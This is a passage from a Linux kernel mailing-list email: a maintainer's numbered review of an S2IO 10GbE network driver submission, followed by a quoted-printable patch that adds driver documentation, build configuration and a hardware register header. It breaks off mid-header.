posting bugs, in startNic: > > + write64(&bar0->mc_rldram_mrs, val64); > + set_current_state(TASK_UNINTERRUPTIBLE); > + schedule_timeout(HZ / 10); > > and > > + write64(&bar0->dtx_control, 0x8007051500000000ULL); > + udelay(50); > + write64(&bar0->dtx_control, 0x80070515000000E0ULL); > + udelay(50); > + write64(&bar0->dtx_control, 0x80070515001F00E4ULL); > + udelay(50); > > 7) for fragmented skb's, you should be using pci_map_page() not > pci_map_single(). Example in drivers/net/tg3.c. > > 8) (style) in alarmIntrHandler, due to line wrapping, Lindent has > rendered the 'do' loop rather unreadable. > > 9) you cannot sleep inside the interrupt handler. Therefore the > schedule_timeout() in alarmIntrHandler is very wrong. > > 10) never use a plain constant when calling > schedule_timeout(), such as > in waitForCmdComplete. Always calculate the desired delay > based on the > HZ constant. Otherwise, your delay varies depending on platform. HZ > represents one second, in jiffies. So half a second delay > would be "HZ > / 2", etc. Also, when fixing, be careful that your HZ-based > calculation > will never evaluate to zero. > > 11) ditto s2io_reset > > 12) ditto s2io_close. etc. > > 13) in s2io_xmit, kfree the skb (drop it) if you don't have > enough free > space to queue it. this is normally a BUG condition, since > proper use > of netif_{start,stop,wake}_queue() will guarantee that s2io_xmit will > only be called when there is free space to queue another skb. > > 14) spin_lock(), not spin_lock_irqsave(), in your interrupt handler. > spin_lock_irqsave() is normally used in any of three cases: > (1) don't > know whether you're in an ISR or not, (2) definitely not in > an ISR, or > (3) your ISR is called from more than one hardware interrupt. > None of > these three is the case. > > 15) does s2io_get_stats need locking? > > 16) (style) If you are going to comment each function, you > might as well > do it in the "kernel-doc" style, which allows the comments to > be picked > up by automated tools. The format is > > /** > * function_name - short description > * @argument1: argument 1 description > * @argument2: argument 2 description > * ... > * SOMETHING: > * blah blah blah > * SOMETHING ELSE: > * blah blah blah > > The "ALL_CAPS:" indicates a new section/paragraph, in the document. > > Once this is done, you may add a stub document to > Documentation/DocBook/ > and then create your driver's nicely-formatted documentation > using "make > pdfdocs", "make psdocs", or "make htmldocs". > > 17) this define belongs in include/linux/ethtool.h, if it's not there > already... > +#define SPEED_10000 10000 > > 18) remove #ifdefs such as > +#if defined(ETHTOOL_GREGS) > + info->regdump_len = XENA_REG_SPACE; > +#endif > > since this exists in both 2.4 and 2.6 kernels. > > 19) ditto: > +#ifdef ETHTOOL_PHYS_ID > > 20) for the ethtool EEPROM and register dumps, it would be nice to > submit a patch to me for ethtool (http://sf.net/projects/gkernel/), > which generates a verbose dump rather than a bunch of hex numbers > incomprehensible to the user. This is a long, boring, but easy task > suitable to an intern, so I understand if it's not done > immediately ;-) > > 21) s2io_ethtool_nway_reset should restart PHY autonegotiation, not > reset the entire card > > 22) eliminate s2io_ethtool_get_link, it duplicates a generic (and > equivalent) function in net/core/ethtool.c > > 23) ditto, for the s2io_ethtool_{get,set}_{sg,rx,tx}_csum stuff > > 24) don't explicitly set members to NULL in netdev_ethtool_ops > > 25) the update to s2io_tx_watchdog still leaves something to > be desired. > You are no longer performing the could-take-a-long-time card reset > inside of spin_lock_bh()... you are now doing it inside the timer > interrupt :( Move this to process context by using schedule_work() > [2.6] or schedule_task [2.4] > > 27) Unconditional netif_wake_queue() in s2io_link() still > unfixed. You > must check for room for additional TX, before calling > netif_{start,wake}_queue(). Consider what happens if the > link goes down > under the TX-full condition [netif_stop_queue]... instant bug. > > 28) do NOT specify PCI latency timer value as non-zero. > pci_set_master() chooses an appropriate latency timer value. It is > acceptable to leave this in as an option, as long as the > module option's > default is zero: > > +static u8 latency_timer = 0xff; > > 29) (style) don't bother casting a void pointer: > > +/* Private member variable initialized to s2io NIC structure */ > + sp = (nic_t *) dev->priv; > > 30) redundant assignment of 'sp': > > + dev->irq = pdev->irq; > + dev->base_addr = (unsigned long) sp->bar0; > + sp = (nic_t *) dev->priv; > > 31) kill the #ifdef > > +#ifdef SET_ETHTOOL_OPS > + SET_ETHTOOL_OPS(dev, &netdev_ethtool_ops); > +#endif > > This one is particularly silly, because SET_ETHTOOL_OPS() is > -designed- > to eliminate ifdefs. A driver wishing to be compatible will > provide its > own SET_ETHTOOL_OPS definition, guaranteeing it can be used > unconditionally in the driver code here. > > 32) mark s2io_starter with "__init" > > 33) kill this: > > +#ifndef ETH_ALEN > +#define ETH_ALEN 6 > +#endif > > 34) the definitions of SUCCESS and FAILURE are incorrect. The driver > should return 0 on success, and a negative errno-based error code on > failure. -EBUSY, -EOPNOTSUPP, etc. > > 35) kill this: > > +#ifndef SUPPORTED_10000baseT_Full > +#define SUPPORTED_10000baseT_Full (1 << 12) > +#endif > > 36) (feature addition) you have a ton of NIC-specific > statistics. You > should make those available to users, via ethtool. > > 37) kill all of this: > > +/* OS related system calls */ > + > +#ifndef readq > +static inline u64 read64(void *addr) > +{ > + u64 ret = 0; > + ret = readl(addr + 4); > + (u64) ret <<= 32; > + (u64) ret |= readl(addr); > + > + return ret; > +} > +#else > +static inline u64 read64(void *addr) > +{ > + u64 ret = readq(addr); > + return ret; > +} > +#endif > +#define read32(addr, ret) ret = readl(addr); > +#define read16(addr, ret) ret = readw(addr); > +#define read8(addr, ret) ret = readb(addr); > + > +#ifndef writeq > +static inline void write64(void *addr, u64 val) > +{ > + writel((u32) (val), addr); > + writel((u32) (val >> 32), (addr + 4)); > +} > +#else > +#define write64(addr, ret) writeq(ret,(void *)addr) > +#endif > +#define write32(addr, ret) writel(ret,(void *)addr); > +#define write16(addr, ret) writew(ret,(void *)addr); > +#define write8(addr, ret) writeb(ret,(void *)addr); > > 38) sysctl_xframe.conf belongs somewhere in Documentation/* > > > ------=_NextPart_000_0011_01C40DF1.C4A084B0 Content-Type: application/octet-stream; name="s2ioDriver.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="s2ioDriver.patch" diff -urN vanilla-linux/Documentation/networking/s2io.txt = vanilla-linux-patch/Documentation/networking/s2io.txt=0A= --- vanilla-linux/Documentation/networking/s2io.txt 1970-01-01 = 05:30:00.000000000 +0530=0A= +++ vanilla-linux-patch/Documentation/networking/s2io.txt 2004-03-15 = 16:04:25.000000000 +0530=0A= @@ -0,0 +1,48 @@=0A= +S2IO Technologies XFrame 10 Gig adapter. +------------------------------------------- + +I. Module loadable parameters. +When loaded as a module, the driver provides a host of Module loadable +parameters, so the device can be tuned as per the users needs. +A list of the Module params is given below. +(i) ring_num: This can be used to program the number of + receive rings used in the driver. +(ii) ring_len: This defines the number of descriptors each ring + can have. There can be a maximum of 8 rings. +(iii) frame_len: This is an array of size 8. Using this we can=20 + set the maximum size of the received frame that can + be steered into the corrsponding receive ring.=09 +(iv) fifo_num: This defines the number of Tx FIFOs thats used in + the driver.=20 +(v) fifo_len: Each element defines the number of=20 + Tx descriptors that can be associated with each=20 + corresponding FIFO. There are a maximum of 8 FIFOs. +(vi) tx_prio: This is a bool, if module is loaded with a non-zero + value for tx_prio multi FIFO scheme is activated. +(vii) rx_prio: This is a bool, if module is loaded with a non-zero + value for tx_prio multi RING scheme is activated. +(viii) latency_timer: The value given against this param will be + loaded into the latency timer register in PCI Config + space, else the register is left with its reset value. + +II. Performance tuning. + By changing a few sysctl parameters. + Copy the following lines into a file and run the following command, + "sysctl -p " +### IPV4 specific settings +net.ipv4.tcp_timestamps =3D 0 # turns TCP timestamp support off, = default 1, reduces CPU use +net.ipv4.tcp_sack =3D 0 # turn SACK support off, default on +# on systems with a VERY fast bus -> memory interface this is the big = gainer +net.ipv4.tcp_rmem =3D 10000000 10000000 10000000 # sets min/default/max = TCP read buffer, default 4096 87380 174760 +net.ipv4.tcp_wmem =3D 10000000 10000000 10000000 # sets = min/pressure/max TCP write buffer, default 4096 16384 131072 +net.ipv4.tcp_mem =3D 10000000 10000000 10000000 # sets min/pressure/max = TCP buffer space, default 31744 32256 32768 + = =20 +### CORE settings (mostly for socket and UDP effect) +net.core.rmem_max =3D 524287 # maximum receive socket buffer size, = default 131071 +net.core.wmem_max =3D 524287 # maximum send socket buffer size, default = 131071 +net.core.rmem_default =3D 524287 # default receive socket buffer size, = default 65535 +net.core.wmem_default =3D 524287 # default send socket buffer size, = default 65535 +net.core.optmem_max =3D 524287 # maximum amount of option memory = buffers, default 10240 +net.core.netdev_max_backlog =3D 300000 # number of unprocessed input = packets before kernel starts dropping them, default 300 +---End of performance tuning file--- + diff -urN vanilla-linux/drivers/net/Kconfig = vanilla-linux-patch/drivers/net/Kconfig=0A= --- vanilla-linux/drivers/net/Kconfig 2003-10-26 00:14:36.000000000 +0530=0A= +++ vanilla-linux-patch/drivers/net/Kconfig 2004-02-27 = 20:26:00.000000000 +0530=0A= @@ -2058,6 +2058,18 @@=0A= bool "Use Rx Polling (NAPI) (EXPERIMENTAL)"=0A= depends on IXGB && EXPERIMENTAL=0A= =0A= +config S2IO=0A= + tristate "S2IO 10Gbe XFrame NIC"=0A= + depends on PCI=0A= + ---help---=0A= + This driver supports the 10Gbe XFrame NIC of S2IO. =0A= + For help regarding driver compilation, installation and =0A= + tuning please look into ~/drivers/net/s2io/README.txt.=0A= +=0A= +config S2IO_NAPI=0A= + bool "Use Rx Polling (NAPI) (EXPERIMENTAL)"=0A= + depends on S2IO && EXPERIMENTAL=0A= +=0A= endmenu=0A= =0A= =0A= diff -urN vanilla-linux/drivers/net/s2io/Makefile = vanilla-linux-patch/drivers/net/s2io/Makefile=0A= --- vanilla-linux/drivers/net/s2io/Makefile 1970-01-01 = 05:30:00.000000000 +0530=0A= +++ vanilla-linux-patch/drivers/net/s2io/Makefile 2004-03-17 = 11:52:20.000000000 +0530=0A= @@ -0,0 +1,5 @@=0A= +#=0A= +# Makefile for the S2IO Technologies XFrame 10Gig NIC=0A= +#=0A= +=0A= +obj-$(CONFIG_S2IO) +=3D s2io.o=0A= diff -urN vanilla-linux/drivers/net/s2io/regs.h = vanilla-linux-patch/drivers/net/s2io/regs.h=0A= --- vanilla-linux/drivers/net/s2io/regs.h 1970-01-01 05:30:00.000000000 = +0530=0A= +++ vanilla-linux-patch/drivers/net/s2io/regs.h 2004-03-17 = 11:52:25.000000000 +0530=0A= @@ -0,0 +1,775 @@=0A= +/***********************************************************************= *=0A= + * regs.h: A Linux PCI-X Ethernet driver for S2IO 10GbE Server NIC=0A= + * Copyright 2002 Raghavendra Koushik (raghavendra.koushik@s2io.com)=0A= +=0A= + * This software may be used and distributed according to the terms of=0A= + * the GNU General Public License (GPL), incorporated herein by = reference.=0A= + * Drivers based on or derived from this code fall under the GPL and = must=0A= + * retain the authorship, copyright and license notice. This file is = not=0A= + * a complete program and may only be used when the entire operating=0A= + * system is licensed under the GPL.=0A= + * See the file COPYING in this distribution for more information.=0A= + = ************************************************************************/=0A= +#ifndef _REGS_H=0A= +#define _REGS_H=0A= +=0A= +#define TBD 0=0A= +=0A= +typedef struct _XENA_dev_config {=0A= +/* Convention: mHAL_XXX is mask, vHAL_XXX is value */=0A= +=0A= +/* General Control-Status Registers */=0A= + u64 general_int_status;=0A= +#define GEN_INTR_TXPIC BIT(0)=0A= +#define GEN_INTR_TXDMA BIT(1)=0A= +#define GEN_INTR_TXMAC BIT(2)=0A= +#define GEN_INTR_TXXGXS BIT(3)=0A= +#define GEN_INTR_TXTRAFFIC BIT(8)=0A= +#define GEN_INTR_RXPIC BIT(32)=0A= +#define GEN_INTR_RXDMA BIT(33)=0A= +#define GEN_INTR_RXMAC BIT(34)=0A= +#define GEN_INTR_MC BIT(35)=0A= +#define GEN_INTR_RXXGXS BIT(36)=0A= +#define GEN_INTR_RXTRAFFIC BIT(40)=0A= +#define GEN_ERROR_INTR GEN_INTR_TXPIC | GEN_INTR_RXPIC | \=0A= + GEN_INTR_TXDMA | GEN_INTR_RXDMA | \=0A= + GEN_INTR_TXMAC | GEN_INTR_RXMAC | \=0A= + GEN_INTR_TXXGXS| GEN_INTR_RXXGXS| \=0A= + GEN_INTR_MC=0A= +=0A= + u64 general_int_mask;=0A= +=0A= + u8 unused0[0x100 - 0x10];=0A= +=0A= + u64 sw_reset;=0A= +/* XGXS must be removed from reset only once. */=0A= +#define SW_RESET_XENA vBIT(0xA5,0,8)=0A= +#define SW_RESET_FLASH vBIT(0xA5,8,8)=0A= +#define SW_RESET_EOI vBIT(0xA5,16,8)=0A= +#define SW_RESET_ALL (SW_RESET_XENA | \=0A= + SW_RESET_FLASH | \=0A= + SW_RESET_EOI)=0A= +/* The SW_RESET register must read this value after a successful reset. = */=0A= +#define SW_RESET_RAW_VAL 0xA5000000=0A= +=0A= +=0A= + u64 adapter_status;=0A= +#define ADAPTER_STATUS_TDMA_READY BIT(0)=0A= +#define ADAPTER_STATUS_RDMA_READY BIT(1)=0A= +#define ADAPTER_STATUS_PFC_READY BIT(2)=0A= +#define ADAPTER_STATUS_TMAC_BUF_EMPTY BIT(3)=0A= +#define ADAPTER_STATUS_PIC_QUIESCENT BIT(5)=0A= +#define ADAPTER_STATUS_RMAC_REMOTE_FAULT BIT(6)=0A= +#define ADAPTER_STATUS_RMAC_LOCAL_FAULT BIT(7)=0A= +#define ADAPTER_STATUS_RMAC_PCC_IDLE vBIT(0xFF,8,8)=0A= +#define ADAPTER_STATUS_RC_PRC_QUIESCENT vBIT(0xFF,16,8)=0A= +#define ADAPTER_STATUS_MC_DRAM_READY BIT(24)=0A= +#define ADAPTER_STATUS_MC_QUEUES_READY BIT(25)=0A= +#define ADAPTER_STATUS_M_PLL_LOCK BIT(30)=0A= +#define ADAPTER_STATUS_P_PLL_LOCK BIT(31)=0A= +=0A= + u64 adapter_control;=0A= +#define ADAPTER_CNTL_EN BIT(7)=0A= +#define ADAPTER_EOI_TX_ON BIT(15)=0A= +#define ADAPTER_LED_ON BIT(23)=0A= +#define ADAPTER_UDPI(val) vBIT(val,36,4)=0A= +#define ADAPTER_WAIT_INT BIT(48)=0A= +#define ADAPTER_ECC_EN BIT(55)=0A= +=0A= + u64 serr_source;=0A= +#define SERR_SOURCE_PIC BIT(0)=0A= +#define SERR_SOURCE_TXDMA BIT(1)=0A= +#define SERR_SOURCE_RXDMA BIT(2)=0A= +#define SERR_SOURCE_MAC BIT(3)=0A= +#define SERR_SOURCE_MC BIT(4)=0A= +#define SERR_SOURCE_XGXS BIT(5)=0A= +#define SERR_SOURCE_ANY (SERR_SOURCE_PIC | \=0A= + SERR_SOURCE_TXDMA | \=0A= + SERR_SOURCE_RXDMA | \=0A= + SERR_SOURCE_MAC | \=0A= + SERR_SOURCE_MC | \=0A= + SERR_SOURCE_XGXS)=0A= +=0A= +=0A= + u8 unused_0[0x800 - 0x120];=0A= +=0A= +/* PCI-X Controller registers */=0A= + u64 pic_int_status;=0A= + u64 pic_int_mask;=0A= +#define PIC_INT_TX BIT(0)=0A= +#define PIC_INT_FLSH BIT(1)=0A= +#define PIC_INT_MDIO BIT(2)=0A= +#define PIC_INT_IIC BIT(3)=0A= +#define PIC_INT_GPIO BIT(4)=0A= +#define PIC_INT_RX BIT(32)=0A= +=0A= + u64 txpic_int_reg;=0A= + u64 txpic_int_mask;=0A= +#define PCIX_INT_REG_ECC_SG_ERR BIT(0)=0A= +#define PCIX_INT_REG_ECC_DB_ERR BIT(1)=0A= +#define PCIX_INT_REG_FLASHR_R_FSM_ERR BIT(8)=0A= +#define PCIX_INT_REG_FLASHR_W_FSM_ERR BIT(9)=0A= +#define PCIX_INT_REG_INI_TX_FSM_SERR BIT(10)=0A= +#define PCIX_INT_REG_INI_TXO_FSM_ERR BIT(11)=0A= +#define PCIX_INT_REG_TRT_FSM_SERR BIT(13)=0A= +#define PCIX_INT_REG_SRT_FSM_SERR BIT(14)=0A= +#define PCIX_INT_REG_PIFR_FSM_SERR BIT(15)=0A= +#define PCIX_INT_REG_WRC_TX_SEND_FSM_SERR BIT(21)=0A= +#define PCIX_INT_REG_RRC_TX_REQ_FSM_SERR BIT(23)=0A= +#define PCIX_INT_REG_INI_RX_FSM_SERR BIT(48)=0A= +#define PCIX_INT_REG_RA_RX_FSM_SERR BIT(50)=0A= +/*=0A= +#define PCIX_INT_REG_WRC_RX_SEND_FSM_SERR BIT(52)=0A= +#define PCIX_INT_REG_RRC_RX_REQ_FSM_SERR BIT(54)=0A= +#define PCIX_INT_REG_RRC_RX_SPLIT_FSM_SERR BIT(58)=0A= +*/=0A= + u64 txpic_alarms;=0A= + u64 rxpic_int_reg;=0A= + u64 rxpic_int_mask;=0A= + u64 rxpic_alarms;=0A= +=0A= + u64 flsh_int_reg;=0A= + u64 flsh_int_mask;=0A= +#define PIC_FLSH_INT_REG_CYCLE_FSM_ERR BIT(63)=0A= +#define PIC_FLSH_INT_REG_ERR BIT(62)=0A= + u64 flash_alarms;=0A= +=0A= + u64 mdio_int_reg;=0A= + u64 mdio_int_mask;=0A= +#define MDIO_INT_REG_MDIO_BUS_ERR BIT(0)=0A= +#define MDIO_INT_REG_DTX_BUS_ERR BIT(8)=0A= +#define MDIO_INT_REG_LASI BIT(39)=0A= + u64 mdio_alarms;=0A= +=0A= + u64 iic_int_reg;=0A= + u64 iic_int_mask;=0A= +#define IIC_INT_REG_BUS_FSM_ERR BIT(4)=0A= +#define IIC_INT_REG_BIT_FSM_ERR BIT(5)=0A= +#define IIC_INT_REG_CYCLE_FSM_ERR BIT(6)=0A= +#define IIC_INT_REG_REQ_FSM_ERR BIT(7)=0A= +#define IIC_INT_REG_ACK_ERR BIT(8)=0A= + u64 iic_alarms;=0A= +=0A= + u8 unused4[0x08];=0A= +=0A= + u64 gpio_int_reg;=0A= + u64 gpio_int_mask;=0A= + u64 gpio_alarms;=0A= +=0A= + u8 unused5[0x38];=0A= +=0A= + u64 tx_traffic_int;=0A= +#define TX_TRAFFIC_INT_n(n) BIT(n)=0A= + u64 tx_traffic_mask;=0A= +=0A= + u64 rx_traffic_int;=0A= +#define RX_TRAFFIC_INT_n(n) BIT(n)=0A= + u64 rx_traffic_mask;=0A= +=0A= +/* PIC Control registers */=0A= + u64 pic_control;=0A= +#define PIC_CNTL_RX_ALARM_MAP_1 BIT(0)=0A= +#define PIC_CNTL_SHARED_SPLITS(n) vBIT(n,11,4)=0A= +=0A= + u64 swapper_ctrl;=0A= +#define SWAPPER_CTRL_PIF_R_FE BIT(0)=0A= +#define SWAPPER_CTRL_PIF_R_SE BIT(1)=0A= +#define SWAPPER_CTRL_PIF_W_FE BIT(8)=0A= +#define SWAPPER_CTRL_PIF_W_SE BIT(9)=0A= +#define SWAPPER_CTRL_TXP_FE BIT(16)=0A= +#define SWAPPER_CTRL_TXP_SE BIT(17)=0A= +#define SWAPPER_CTRL_TXD_R_FE BIT(18)=0A= +#define SWAPPER_CTRL_TXD_R_SE BIT(19)=0A= +#define SWAPPER_CTRL_TXD_W_FE BIT(20)=0A= +#define SWAPPER_CTRL_TXD_W_SE BIT(21)=0A= +#define SWAPPER_CTRL_TXF_R_FE BIT(22)=0A= +#define SWAPPER_CTRL_TXF_R_SE BIT(23)=0A= +#define SWAPPER_CTRL_RXD_R_FE BIT(32)=0A= +#define SWAPPER_CTRL_RXD_R_SE BIT(33)=0A= +#define SWAPPER_CTRL_RXD_W_FE BIT(34)=0A= +#define SWAPPER_CTRL_RXD_W_SE BIT(35)=0A= +#define SWAPPER_CTRL_RXF_W_FE BIT(36)=0A= +#define SWAPPER_CTRL_RXF_W_SE BIT(37)=0A= +#define SWAPPER_CTRL_XMSI_FE BIT(40)=0A= +#define SWAPPER_CTRL_XMSI_SE BIT(41)=0A= +#define SWAPPER_CTRL_STATS_FE BIT(48)=0A= +#define SWAPPER_CTRL_STATS_SE BIT(49)=0A= +=0A= + u64 pif_rd_swapper_fb;=0A= +#define IF_RD_SWAPPER_FB 0x0123456789ABCDEF=0A= +=0A= + u64 scheduled_int_ctrl;=0A= +#define SCHED_INT_CTRL_TIMER_EN BIT(0)=0A= +#define SCHED_INT_CTRL_ONE_SHOT BIT(1)=0A= +#define SCHED_INT_CTRL_INT2MSI TBD=0A= +#define SCHED_INT_PERIOD TBD=0A= +=0A= + u64 txreqtimeout;=0A= +#define TXREQTO_VAL(val) vBIT(val,0,32)=0A= +#define TXREQTO_EN BIT(63)=0A= +=0A= + u64 statsreqtimeout;=0A= +#define STATREQTO_VAL(n) TBD=0A= +#define STATREQTO_EN BIT(63)=0A= +=0A= + u64 read_retry_delay;=0A= + u64 read_retry_acceleration;=0A= + u64 write_retry_delay;=0A= + u64 write_retry_acceleration;=0A= +=0A= + u64 xmsi_control;=0A= + u64 xmsi_access;=0A= + u64 xmsi_address;=0A= + u64 xmsi_data;=0A= +=0A= + u64 rx_mat;=0A= +=0A= + u8 unused6[0x8];=0A= +=0A= + u64 tx_mat0_7;=0A= + u64 tx_mat8_15;=0A= + u64 tx_mat16_23;=0A= + u64 tx_mat24_31;=0A= + u64 tx_mat32_39;=0A= + u64 tx_mat40_47;=0A= + u64 tx_mat48_55;=0A= + u64 tx_mat56_63;=0A= +=0A= + u8 unused_1[0x10];=0A= +=0A= + /* Automated statistics collection */=0A= + u64 stat_cfg;=0A= +#define STAT_CFG_STAT_EN BIT(0)=0A= +#define STAT_CFG_ONE_SHOT_EN BIT(1)=0A= +#define STAT_CFG_STAT_NS_EN BIT(8)=0A= +#define STAT_CFG_STAT_RO BIT(9)=0A= +#define STAT_TRSF_PER(n) TBD=0A= +#define PER_SEC 0x208d5=0A= +#define SET_UPDT_PERIOD(n) vBIT((PER_SEC*n),32,32)=0A= +=0A= + u64 stat_addr;=0A= +=0A= + /* General Configuration */=0A= + u64 mdio_control;=0A= +=0A= + u64 dtx_control;=0A= +=0A= + u64 i2c_control;=0A= +#define I2C_CONTROL_DEV_ID(id) vBIT(id,1,3)=0A= +#define I2C_CONTROL_ADDR(addr) vBIT(addr,5,11)=0A= +#define I2C_CONTROL_BYTE_CNT(cnt) vBIT(cnt,22,2)=0A= +#define I2C_CONTROL_READ BIT(24)=0A= +#define I2C_CONTROL_NACK BIT(25)=0A= +#define I2C_CONTROL_CNTL_START vBIT(0xE,28,4)=0A= +#define I2C_CONTROL_CNTL_END(val) (val & vBIT(0x1,28,4))=0A= +#define I2C_CONTROL_GET_DATA(val) (u32)(val & 0xFFFFFFFF)=0A= +#define I2C_CONTROL_SET_DATA(val) vBIT(val,32,32)=0A= +=0A= + u64 gpio_control;=0A= +#define GPIO_CTRL_GPIO_0 BIT(8)=0A= +=0A= + u8 unused7[0x600];=0A= +=0A= +/* TxDMA registers */=0A= + u64 txdma_int_status;=0A= + u64 txdma_int_mask;=0A= +#define TXDMA_PFC_INT BIT(0)=0A= +#define TXDMA_TDA_INT BIT(1)=0A= +#define TXDMA_PCC_INT BIT(2)=0A= +#define TXDMA_TTI_INT BIT(3)=0A= +#define TXDMA_LSO_INT BIT(4)=0A= +#define TXDMA_TPA_INT BIT(5)=0A= +#define TXDMA_SM_INT BIT(6)=0A= + u64 pfc_err_reg;=0A= + u64 pfc_err_mask;=0A= + u64 pfc_err_alarm;=0A= +=0A= + u64 tda_err_reg;=0A= + u64 tda_err_mask;=0A= + u64 tda_err_alarm;=0A= +=0A= + u64 pcc_err_reg;=0A= + u64 pcc_err_mask;=0A= + u64 pcc_err_alarm;=0A= +=0A= + u64 tti_err_reg;=0A= + u64 tti_err_mask;=0A= + u64 tti_err_alarm;=0A= +=0A= + u64 lso_err_reg;=0A= + u64 lso_err_mask;=0A= + u64 lso_err_alarm;=0A= +=0A= + u64 tpa_err_reg;=0A= + u64 tpa_err_mask;=0A= + u64 tpa_err_alarm;=0A= +=0A= + u64 sm_err_reg;=0A= + u64 sm_err_mask;=0A= + u64 sm_err_alarm;=0A= +=0A= + u8 unused8[0x100 - 0xB8];=0A= +=0A= +/* TxDMA arbiter */=0A= + u64 tx_dma_wrap_stat;=0A= +=0A= +/* Tx FIFO controller */=0A= +#define X_MAX_FIFOS 8=0A= +#define X_FIFO_MAX_LEN 0x1FFF /*8191 */=0A= + u64 tx_fifo_partition_0;=0A= +#define TX_FIFO_PARTITION_EN BIT(0)=0A= +#define TX_FIFO_PARTITION_0_PRI(val) vBIT(val,5,3)=0A= +#define TX_FIFO_PARTITION_0_LEN(val) vBIT(val,19,13)=0A= +#define TX_FIFO_PARTITION_1_PRI(val) vBIT(val,37,3)=0A= +#define TX_FIFO_PARTITION_1_LEN(val) vBIT(val,51,13 )=0A= +=0A= + u64 tx_fifo_partition_1;=0A= +#define TX_FIFO_PARTITION_2_PRI(val) vBIT(val,5,3)=0A= +#define TX_FIFO_PARTITION_2_LEN(val) vBIT(val,19,13)=0A= +#define TX_FIFO_PARTITION_3_PRI(val) vBIT(val,37,3)=0A= +#define TX_FIFO_PARTITION_3_LEN(val) vBIT(val,51,13)=0A= +=0A= + u64 tx_fifo_partition_2;=0A= +#define TX_FIFO_PARTITION_4_PRI(val) vBIT(val,5,3)=0A= +#define TX_FIFO_PARTITION_4_LEN(val) vBIT(val,19,13)=0A= +#define TX_FIFO_PARTITION_5_PRI(val) vBIT(val,37,3)=0A= +#define TX_FIFO_PARTITION_5_LEN(val) vBIT(val,51,13)=0A= +=0A= + u64 tx_fifo_partition_3;=0A= +#define TX_FIFO_PARTITION_6_PRI(val) vBIT(val,5,3)=0A= +#define TX_FIFO_PARTITION_6_LEN(val) vBIT(val,19,13)=0A= +#define TX_FIFO_PARTITION_7_PRI(val) vBIT(val,37,3)=0A= +#define TX_FIFO_PARTITION_7_LEN(val) vBIT(val,51,13)=0A= +=0A= +#define TX_FIFO_PARTITION_PRI_0 0 /* highest */=0A= +#define TX_FIFO_PARTITION_PRI_1 1=0A= +#define TX_FIFO_PARTITION_PRI_2 2=0A= +#define TX_FIFO_PARTITION_PRI_3 3=0A= +#define TX_FIFO_PARTITION_PRI_4 4=0A= +#define TX_FIFO_PARTITION_PRI_5 5=0A= +#define TX_FIFO_PARTITION_PRI_6 6=0A= +#define TX_FIFO_PARTITION_PRI_7 7 /* lowest */=0A= +=0A= + u64 tx_w_round_robin_0;=0A= + u64 tx_w_round_robin_1;=0A= + u64 tx_w_round_robin_2;=0A= + u64 tx_w_round_robin_3;=0A= + u64 tx_w_round_robin_4;=0A= +=0A= + u64 tti_command_mem;=0A= +#define TTI_CMD_MEM_WE BIT(7)=0A= +#define TTI_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= +#define TTI_CMD_MEM_STROBE_BEING_EXECUTED BIT(15)=0A= +#define TTI_CMD_MEM_OFFSET(n) vBIT(n,26,6)=0A= +=0A= + u64 tti_data1_mem;=0A= +#define TTI_DATA1_MEM_TX_TIMER_VAL(n) vBIT(n,6,26)=0A= +#define TTI_DATA1_MEM_TX_TIMER_AC_CI(n) vBIT(n,38,2)=0A= +#define TTI_DATA1_MEM_TX_TIMER_AC_EN BIT(38)=0A= +#define TTI_DATA1_MEM_TX_TIMER_CI_EN BIT(39)=0A= +#define TTI_DATA1_MEM_TX_URNG_A(n) vBIT(n,41,7)=0A= +#define TTI_DATA1_MEM_TX_URNG_B(n) vBIT(n,49,7)=0A= +#define TTI_DATA1_MEM_TX_URNG_C(n) vBIT(n,57,7)=0A= +=0A= + u64 tti_data2_mem;=0A= +#define TTI_DATA2_MEM_TX_UFC_A(n) vBIT(n,0,16)=0A= +#define TTI_DATA2_MEM_TX_UFC_B(n) vBIT(n,16,16)=0A= +#define TTI_DATA2_MEM_TX_UFC_C(n) vBIT(n,32,16)=0A= +#define TTI_DATA2_MEM_TX_UFC_D(n) vBIT(n,48,16)=0A= +=0A= +/* Tx Protocol assist */=0A= + u64 tx_pa_cfg;=0A= +#define TX_PA_CFG_IGNORE_FRM_ERR BIT(1)=0A= +#define TX_PA_CFG_IGNORE_SNAP_OUI BIT(2)=0A= +#define TX_PA_CFG_IGNORE_LLC_CTRL BIT(3)=0A= +#define TX_PA_CFG_IGNORE_L2_ERR BIT(6)=0A= +=0A= +/* Recent add, used only debug purposes. */=0A= + u64 pcc_enable;=0A= +=0A= + u8 unused9[0x700 - 0x178];=0A= +=0A= + u64 txdma_debug_ctrl;=0A= +=0A= + u8 unused10[0x1800 - 0x1708];=0A= +=0A= +/* RxDMA Registers */=0A= + u64 rxdma_int_status;=0A= + u64 rxdma_int_mask;=0A= +#define RXDMA_INT_RC_INT_M BIT(0)=0A= +#define RXDMA_INT_RPA_INT_M BIT(1)=0A= +#define RXDMA_INT_RDA_INT_M BIT(2)=0A= +#define RXDMA_INT_RTI_INT_M BIT(3)=0A= +=0A= + u64 rda_err_reg;=0A= + u64 rda_err_mask;=0A= + u64 rda_err_alarm;=0A= +=0A= + u64 rc_err_reg;=0A= + u64 rc_err_mask;=0A= + u64 rc_err_alarm;=0A= +=0A= + u64 prc_pcix_err_reg;=0A= + u64 prc_pcix_err_mask;=0A= + u64 prc_pcix_err_alarm;=0A= +=0A= + u64 rpa_err_reg;=0A= + u64 rpa_err_mask;=0A= + u64 rpa_err_alarm;=0A= +=0A= + u64 rti_err_reg;=0A= + u64 rti_err_mask;=0A= + u64 rti_err_alarm;=0A= +=0A= + u8 unused11[0x100 - 0x88];=0A= +=0A= +/* DMA arbiter */=0A= + u64 rx_queue_priority;=0A= +#define RX_QUEUE_0_PRIORITY(val) vBIT(val,5,3)=0A= +#define RX_QUEUE_1_PRIORITY(val) vBIT(val,13,3)=0A= +#define RX_QUEUE_2_PRIORITY(val) vBIT(val,21,3)=0A= +#define RX_QUEUE_3_PRIORITY(val) vBIT(val,29,3)=0A= +#define RX_QUEUE_4_PRIORITY(val) vBIT(val,37,3)=0A= +#define RX_QUEUE_5_PRIORITY(val) vBIT(val,45,3)=0A= +#define RX_QUEUE_6_PRIORITY(val) vBIT(val,53,3)=0A= +#define RX_QUEUE_7_PRIORITY(val) vBIT(val,61,3)=0A= +=0A= +#define RX_QUEUE_PRI_0 0 /* highest */=0A= +#define RX_QUEUE_PRI_1 1=0A= +#define RX_QUEUE_PRI_2 2=0A= +#define 